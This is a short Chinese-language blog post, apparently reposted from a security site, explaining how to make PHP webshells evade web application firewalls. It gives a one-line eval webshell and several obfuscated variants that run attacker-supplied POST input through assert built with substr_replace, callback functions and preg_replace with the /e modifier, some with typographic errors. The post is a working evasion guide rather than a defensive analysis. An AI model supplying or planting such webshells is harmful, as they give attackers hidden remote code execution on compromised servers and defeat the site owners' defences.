WebShell免杀

2020年8月22日 19:32

0×00前言：

最基本的Webshell

<?php @eval($_POST['test']); ?>

基本的一句话主要包含两个部分，执行函数和传递的参数。而各类waf在对一句话木马检测时多是用类似正则表达式来匹配关键词进行检测。

0×01绕过WAF的常用方法：

1、特殊的免杀函数

array_reduce()　　// 函数向用户自定义函数发送数组中的值，并返回一个字符串

xml_set_character_data_handler()　　//该函数规定当解析器在 XML 文件中找到字符数据时所调用的函数

2、字符串变形

可以通过PHP中众多的字符串变形函数来绕过安全狗等，常用函数如下：

substr_replace() //函数把字符串的一部分替换为另一个字符串

substr() //函数返回字符串的一部分。

strtoupper() //函数把字符串转换为大写。

strtok() //函数把字符串分割为更小的字符串

例如：

```
<?php
$a = substr_replace(“assexx”,” rt”,4);
    $a($_POST['x']);
 ?>
```

3、回调函数绕过

call_user_func()

call_user_func_array() //是以数组的形式接收回调函数的参数的

例如：

```
<?php
forward_static_call_array(assert,array($_POST[x]));
?>
```

4、正则表达式替代法

主要运用preg_replace()函数，这个函数可以实现正则表达式的替换工作。用替换绕

过检测系统还需要php脚本语言里面的一个函数特性，函数在调用的时候，如果函数里面的形参赋的值里面含有命令，就会执行这个命令。

```
<?php
function funfunc($str){}
echopreg_replace(“/<title>(.+?)<\/title>/ies”,’ funfunc(“\1″)’,
$_POST[″cmd″]);
?>
```

0×10 总结：

方法主要是思想是围绕关键执行函数和参数的各种变形，来达到欺骗WAF的目的。

来自 <https://4hou.win/wordpress/?p=47975>